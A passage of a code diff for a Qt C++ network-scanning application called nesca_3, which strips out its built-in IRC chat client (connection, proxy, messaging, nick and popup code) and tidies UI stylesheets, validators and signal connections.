rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - - " #IRCConnectBut:hover{" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #D1D1D1;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - ); - - ui->IRCCheckProxyBut->setStyleSheet( - " #IRCCheckProxyBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #bfb800;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - - " #IRCCheckProxyBut:hover{" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #e9e100;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - ); ui->importButton->setStyleSheet( " #importButton {" "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" @@ -473,9 +427,7 @@ void SetValidators() validator = new QRegExpValidator(QRegExp("(\\w|-|\\.)+((\\w|-|\\.)+)+"), NULL); ui->lineILVL->setValidator(validator); - validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); - ui->serverPortBox->setValidator(validator); - ui->ircProxyPort->setValidator(validator); + validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); ui->trcSrvPortLine->setValidator(validator); validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); @@ -726,11 +678,6 @@ void nesca_3::slotQoSAddGrid() }; } -void nesca_3::setNickBox(QString str) -{ - ui->ircNickBox->setText(str); -} - void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) { sceneGrid->addLine(x1, y1, x2, y2, pen); @@ -1276,66 +1223,34 @@ void nesca_3::switchDataFields() }; } -void nesca_3::slotBlinkMessage() -{ - if(blinkFlag) - { - blinkFlag = false; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - } - else - { - blinkFlag = true; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); - }; -} +//void nesca_3::slotBlinkMessage() +//{ +// if(blinkFlag) +// { +// blinkFlag = false; +// ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); +// ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); +// } +// else +// { +// blinkFlag = true; +// ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); +// ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); +// }; +//} void nesca_3::slotTabChanged(int index){ if(index < 2) savedTabIndex = index; } -void nesca_3::ChangeDispalyMode() -{ - if(widgetIsHidden == false && tray->isVisible() == false) - { - ui->IRCModeChangerBut->setVisible(true); - blinkFlag = false; - widgetIsHidden = true; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); - ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); - ui->widgetIRC->setStyleSheet("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));"); - ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730)); - ui->shoutBox->setFocus(); - QWidget::activateWindow(); - msgWdgt->hide(); - } - else - { - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - ui->IRCModeChangerBut->setVisible(false); - disableBlink = false; - blinkFlag = true; - widgetIsHidden = false; - printDelimiter = true; - ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); - }; -} - void nesca_3::switchToJobMode() { if(ui->widgetJOB->geometry().x() == 500) - { - ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); - ui->IRCModeChangerBut->setVisible(false); + { widgetIsHidden = false; ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730)); ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - } + } else { ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); @@ -1343,140 +1258,6 @@ void nesca_3::switchToJobMode() }; } -void nesca_3::CheckProxy() -{ - saveOptions(); - - QStringList qsl; - if(ui->ircProxy->text().contains(":")) - { - qsl = ui->ircProxy->text().split(":"); - - ui->ircProxy->setText(qsl[0]); - ui->ircProxyPort->setText(qsl[1]); - }; - - chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); - chPTh->start(); -} - -void nesca_3::slotIRCOfflined() -{ - CSSOCKET(lSock); - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: green;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Connect"); - ui->ircText->append("[-//-] Disconnected."); -} - -void nesca_3::ConnectToIRCServer() -{ - QStringList qsl; - if(ui->ircServerBox->text().contains(":")) - { - qsl = ui->ircServerBox->text().split(":"); - - ui->ircServerBox->setText(qsl[0]); - ui->serverPortBox->setText(qsl[1]); - }; - - if(ui->ircProxy->text().contains(":")) - { - qsl = ui->ircProxy->text().split(":"); - - ui->ircProxy->setText(qsl[0]); - ui->ircProxyPort->setText(qsl[1]); - }; - - if(ui->ircServerBox->text() != "") - { - if(ui->serverPortBox->text() != "") - { - if(ui->IRCConnectBut->text() == "Connect") - { - if(!ircTh->isRunning()) - { - if(ui->ircProxy->text() != "" && ui->ircProxyPort->text() != "") proxyEnabledFlag = 1; - - iWantToConnect = true; - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: red;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Disconnect"); - if(proxyEnabledFlag) ui->ircText->append("[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - else ui->ircText->append("[*] No proxy selected! Connecting directly..."); - ircTh->start(); - } - else - { - ui->ircText->append("[...] Wait..."); - }; - } - else - { - iWantToConnect = false; - - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: green;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Connect"); - ui->ircText->append("[-//-] Disconnected."); - - CSSOCKET(lSock); - }; - } - else - { - - ui->ircText->append("No IRC port specified!"); - - }; - } - else - { - - ui->ircText->append("No IRC server specified!"); - - }; - - saveOptions(); -} - -void nesca_3::ChangeIRCRawLog() -{ - if(ui->IRCModeChangerBut->text() == ":IRC raw") - { - IRCLogToggled = false; - ui->IRCModeChangerBut->setText(":IRC log"); - ui->ircText->lower(); - ui->ircRaw->raise(); - } - else - { - IRCLogToggled = true; - ui->IRCModeChangerBut->setText(":IRC raw"); - ui->ircText->raise(); - ui->ircRaw->lower(); - }; -} - -void nesca_3::ChangeNick() -{ - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - UserNickInit(); - ui->shoutBox->setFocus(); -} - void nesca_3::CheckPersKey() { emitIfOK = -1; @@ -1509,78 +1290,12 @@ void nesca_3::CheckPersKey(int val = -1) }; } -void _finishNick() -{ - QList ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); - if(ql.size() > 0) - { - ui->shoutBox->setText(ql[0]->text() + ", "); - ui->shoutBox->setFocus(); - }; -} - bool nesca_3::eventFilter(QObject* obj, QEvent *event) { - if (obj == ui->shoutBox) - { - if (event->type() == QEvent::KeyPress) - { - QKeyEvent* keyEvent = static_cast(event); - if (keyEvent->key() == Qt::Key_Up) - { - ui->shoutBox->setText(PhraseLog[PhraseIndex]); - ++PhraseIndex; - if(PhraseIndex >= PhraseLog.size()) PhraseIndex = 0; - return true; - } - else if(keyEvent->key() == Qt::Key_Down) - { - --PhraseIndex; - if(PhraseIndex < 0) PhraseIndex = PhraseLog.size() - 1; - - ui->shoutBox->setText(PhraseLog[PhraseIndex]); - return true; - } - else if(keyEvent->modifiers() == Qt::ControlModifier) - { - privateMsgFlag = true; - event->accept(); - } - else if(keyEvent->key() == Qt::Key_Tab) - { - _finishNick(); - return true; - }; - }; - return false; - } - else if (obj == ui->ircText) - { - if (event->type() == QEvent::KeyPress) - { - QKeyEvent* keyEvent = static_cast(event); - if(keyEvent->modifiers() == Qt::ControlModifier) - { - privateMsgFlag = true; - event->accept(); - return true; - }; - return false; - } - else if (event->type() == QEvent::KeyRelease) - { - privateMsgFlag = false; - event->accept(); - return true; - }; - return false; - } - else if (obj == qwm) - { - //auto qwe = event->type(); + if (obj == qwm) + { if(MapWidgetOpened && event->type() == QEvent::WindowActivate) { - //qwm->raise(); this->raise(); }; if (event->type() == QEvent::KeyPress) @@ -1629,249 +1344,12 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) }; } -void nesca_3::ChangeTopic() -{ - if(ui->topicLine->text().size() > 0) - { - char temp[2048] = {0}; - - QString strf; - - QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); - strf = codec->toUnicode(ui->topicLine->text().toUtf8()); - strcpy(temp, "TOPIC #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strncat(temp, strf.toLocal8Bit().data(), 256); - strcat(temp, "\n"); - - sendS(lSock, temp, strlen(temp), 0); - }; -} - -void nesca_3::SaySmthng() -{ - if(ui->shoutBox->text().size() > 0) - { - char temp[2048] = {0}; - globalPinger = 0; - PhraseIndex = 0; - if(PhraseLog.size() > 50) - { - PhraseLog.pop_back(); - if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); - } - else - { - if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); - }; - - if(ui->shoutBox->text() == "/clear" || ui->shoutBox->text() == "clear" || ui->shoutBox->text() == "clr") - { - ui->ircText->clear(); - } - else if(ui->shoutBox->text().contains("/me ")) - { - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); - } - else strf = ui->shoutBox->text(); - - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strcat(temp, "ACTION "); - strcat(temp, strf.toLocal8Bit().data() + 3); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - appendDefaultIRCTextOut("--> " + ui->ircNickBox->text() + " " + strf.mid(3)); - } - else if(ui->shoutBox->text().contains("/w ")) - { - int lBoundary1 = ui->shoutBox->text().indexOf(" "); - int lBoundary2 = ui->shoutBox->text().indexOf(","); - int lBoundary = 0; - if(lBoundary1 == -1) - { - lBoundary = lBoundary2; - } - else if(lBoundary2 == -1) - { - lBoundary = lBoundary1; - } - else if(lBoundary1 > lBoundary2) - { - lBoundary = lBoundary2; - } - else - { - lBoundary = lBoundary1; - }; - QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); - int rBoundary = nickPG.indexOf(" "); - QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); - QString msgP = nickPG.mid(rBoundary + 1); - - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(msgP.toUtf8()); - } - else strf = msgP; - - strcpy(temp, "PRIV"); - strcat(temp, "MSG "); - strcat(temp, nickP.toLocal8Bit().data()); - strcat(temp, " :"); - strcat(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - sendS(lSock, "PING 0", 6, 0); - - QString rData; - QString rData2; - - if(utfIRCFlag) - { - QString str = codec->toUnicode(msgP.toUtf8()); - rData2 = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; - ui->ircText->append(rData2); - rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + str; - globalIRCText += rData + "\n"; - } - else - { - rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; - ui->ircText->append(rData); - globalIRCText += rData + "\n"; - }; - } - else if(ui->shoutBox->text().contains("/nick ")) - { - int lBoundary = ui->shoutBox->text().indexOf(" "); - - QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); - int rBoundary = nickPG.indexOf(" "); - QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); - - strcpy(temp, "NICK "); - strcat(temp, nickP.toLocal8Bit().data()); - strcat(temp, "\n"); - ui->ircNickBox->setText(nickP); - UserNickInit(); - } - else - { - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); - } - else strf = ui->shoutBox->text(); - if(IRCLogToggled) - { - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strcat(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - appendDefaultIRCTextOut("[" + ui->ircNickBox->text() + "]: " + strf); - } - else - { - if(strf.contains("join ")) - { - appendDefaultIRCRawTextOut("[JOIN command is not accepted]"); - ui->shoutBox->clear(); - return; - } - else - { - strcpy(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - }; - }; - - sendS(lSock, temp, strlen(temp), 0); - }; - - ui->shoutBox->clear(); - }; -} - -void nesca_3::slotChangeCPModeToUTF() -{ - utfIRCFlag = true; - ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); - - QByteArray wtfR = codec->fromUnicode(globalIRCRaw.replace("\n", "
")); - QByteArray wtfT = codec->fromUnicode(globalIRCText.replace("\n", "
")); - ui->ircText->setHtml( QString(wtfT) ); - ui->ircRaw->setHtml( QString(wtfR) ); - ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); - ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -} - -void nesca_3::slotChangeCPModeTo1251() -{ - utfIRCFlag = false; - ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); - - ui->ircText->setHtml(globalIRCText.replace("\n", "
")); - ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "
")); - ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); - ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -} - -void nesca_3::onLinkClicked(QUrl link) -{ - QString lnk = link.toString(); - - if(lnk.contains("nesca:") == 1 && privateMsgFlag == false) - { - ui->shoutBox->setText(ui->shoutBox->text() + lnk.mid(6) + ", "); - ui->shoutBox->setFocus(); - } - else if(lnk.contains("nesca:") == 1 && privateMsgFlag) - { - ui->shoutBox->setText("/w " + lnk.mid(6) + " "); - ui->shoutBox->setFocus(); - } - else - { - QDesktopServices::openUrl(link); - }; -} - -void nesca_3::slotRestartIRC() -{ - ircPTh->terminate(); - globalPinger = 0; - CSSOCKET(lSock); - ircTh->terminate(); - ircTh->start(); -} - void nesca_3::slotClearLogs() { ui->dataText->clear(); ui->BAText->clear(); } -void nesca_3::slotIRCGetTopic(QString str) -{ - ui->topicLine->setText(str); - QString rData; - rData = "Topic: \"" + str + "\""; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} int c = 1; @@ -1963,88 +1441,6 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); } -QLabel *msgLbl; -QLabel *msgDLbl; -QLabel *msgTLbl; -QLabel *msgNLbl; -void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") -{ - msgWdgt->show(); - QString str; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(strD); - str = QString(wtf); - } - else str = strD; - if(msgLbl != NULL) msgLbl->setText(str); - if(msgNLbl != NULL) msgNLbl->setText(senderNick); - if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); -} - -void CreateMsgPopupWidget(QString str = "", QString senderNick = "") -{ - QDesktopWidget desk; - - int px_width = desk.width(); - int px_height = desk.height(); - - msgWdgt = new PopupMsgWidget(); - msgWdgt->setWindowFlags(Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow); - msgWdgt->setStyleSheet( - "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); border: 1px solid #525252;" - ); - - msgWdgt->setGeometry(px_width - 300, px_height - 100, 300, 100); - - QLabel *msgBLbl = new QLabel(msgWdgt); - msgBLbl->setGeometry(0, 0, 300, 100); - msgBLbl->setStyleSheet( - "background-color: rgba(0, 0, 0, 0);" - ); - msgBLbl->show(); - - msgDLbl = new QLabel(msgWdgt); - msgDLbl->setGeometry(0, 0, 300, 15); - msgDLbl->setStyleSheet( - "background-color: rgba(0, 0, 0, 70);" - ); - msgDLbl->show(); - - msgTLbl = new QLabel(msgWdgt); - msgTLbl->setText("New message"); - msgTLbl->setStyleSheet( - "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" - ); - msgTLbl->show(); - - msgDLbl = new QLabel(msgWdgt); - msgDLbl->setGeometry(249, 0, 300, 15); - msgDLbl->setText(QTime::currentTime().toString()); - msgDLbl->setStyleSheet( - "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" - ); - msgDLbl->show(); - - msgLbl = new QLabel(msgWdgt); - msgLbl->setText(str); - msgLbl->setGeometry(10, 10, 290, 100); - msgLbl->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter); - msgLbl->setStyleSheet( - "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;" - ); - msgLbl->show(); - - msgNLbl = new QLabel(msgWdgt); - msgNLbl->setText(senderNick); - msgNLbl->setGeometry(35, 0, 249, 15); - msgNLbl->setAlignment(Qt::AlignHCenter); - msgNLbl->setStyleSheet( - "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" - ); - msgNLbl->show(); -} - QTextBrowser *SendData; QTextBrowser *RecvData; void nesca_3::slotShowDataflow() @@ -2174,21 +1570,6 @@ void nesca_3::slotVoiceAddLine() }; } -void nesca_3::slotShowNicks() -{ - if(ui->nickShowBut->text() == "<") - { - ui->nickShowBut->setText(">"); - ui->nickList->raise(); - GetNicks(); - } - else - { - ui->nickShowBut->setText("<"); - ui->nickList->lower(); - }; -} - QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); @@ -2724,7 +2105,7 @@ void nesca_3::slotShowServerMsg(QString str) void nesca_3::DNSLine_ValueChanged() { - if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); + if(!globalScanFlag) ui->startScanButton_4->setText("Start"); } void nesca_3::slotRestoreDefPorts() @@ -2816,27 +2197,12 @@ void nesca_3::ConnectEvrthng() connect ( ui->secretMessageBut_5, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); connect ( ui->secretMessageBut_6, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); connect ( ui->secretMessageBut_7, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); - connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); - connect ( ui->nickList, SIGNAL(itemClicked(QListWidgetItem*)), this, SLOT(slotItemClicked(QListWidgetItem*))); - connect ( ui->nickShowBut, SIGNAL( clicked() ), this, SLOT( slotShowNicks() ) ); - connect ( ui->ircText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->ircRaw, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->ircProxy, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); - connect ( ui->ircProxyPort, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); - connect ( ui->shoutBox, SIGNAL( returnPressed() ), this, SLOT( SaySmthng() ) ); - connect ( ui->ircNickBox, SIGNAL( returnPressed() ), this, SLOT( ChangeNick() ) ); - connect ( ui->ircServerBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); - connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) ); - connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); - connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) ); - connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) ); - connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) ); - connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); - connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); - connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) ); - connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) ); + connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); + connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) ); + connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); connect ( mct, SIGNAL(showNewMsg(QString)), this, SLOT(slotShowServerMsg(QString))); connect ( tray, SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(trayButtonClicked())); connect ( ui->exitButton, SIGNAL( clicked() ), this, SLOT( exitButtonClicked() ) ); @@ -2846,9 +2212,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->startScanButton_3, SIGNAL( clicked() ), this, SLOT( startScanButtonClicked() ) ); connect ( ui->startScanButton_4, SIGNAL( clicked() ), this, SLOT( startScanButtonClickedDNS() ) ); connect ( ui->shuffle_onoff, SIGNAL(toggled(bool)), this, SLOT(ChangeShuffle(bool))); - connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); -// connect ( ui->pingingOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangePingerOK(bool) ) ); - connect ( ui->debugFileOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeDebugFileState(bool) ) ); + connect ( ui->trackerOnOff, SIGNAL(toggled(bool)), this, SLOT(ChangeTrackerOK(bool))); connect ( ui->importThreads, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); connect ( ui->threadLine, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); connect ( ui->PingTO, SIGNAL( textChanged(QString) ), this, SLOT( PingTO_ChangeValue(QString) ) ); @@ -2860,8 +2224,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->iptoLine_value_3, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); connect ( ui->restoreDefaultPorts1, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); connect ( ui->restoreDefaultPorts2, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); - connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); - connect ( ui->IRCCheckProxyBut, SIGNAL( clicked() ), this, SLOT( CheckProxy() ) ); + connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); connect ( ui->lineEditStartIPDNS, SIGNAL( textChanged(QString) ), this, SLOT( DNSLine_ValueChanged(QString) ) ); connect ( ui->ipLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); connect ( ui->threadLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); @@ -2874,8 +2237,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->me2ScanBut, SIGNAL( clicked() ), this, SLOT( activateME2ScanScene() ) ); connect ( ui->QoSScanBut, SIGNAL( clicked() ), this, SLOT( activateQoSScanBut() ) ); connect ( ui->VoiceScanBut, SIGNAL( clicked() ), this, SLOT( activateVoiceScanBut() ) ); - connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); - connect ( ui->topicLine, SIGNAL( returnPressed() ), this, SLOT( ChangeTopic() ) ); + connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); connect ( stt, SIGNAL(showRedVersion()), this, SLOT(slotShowRedVersion())); connect ( stt, SIGNAL(startScanIP()), this, SLOT(IPScanSeq())); connect ( stt, SIGNAL(startScanDNS()), this, SLOT(DNSScanSeq())); @@ -2900,28 +2262,6 @@ void nesca_3::ConnectEvrthng() connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString))); connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString))); connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool))); - connect ( chPTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); - connect ( chPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( chPTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); - connect ( chPTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); - connect ( ircTh, SIGNAL(getTopic(QString)), this, SLOT(slotIRCGetTopic(QString)) ); - connect ( ircTh, SIGNAL(IRCOfflined()), this, SLOT(slotIRCOfflined()) ); - connect ( ircTh, SIGNAL(sUnhidePopup(QString, QString)), this, SLOT(slotUnhidePopup(QString, QString))); - connect ( ircTh, SIGNAL(ClearNickList()), this, SLOT(slotClearNickList())); - connect ( ircTh, 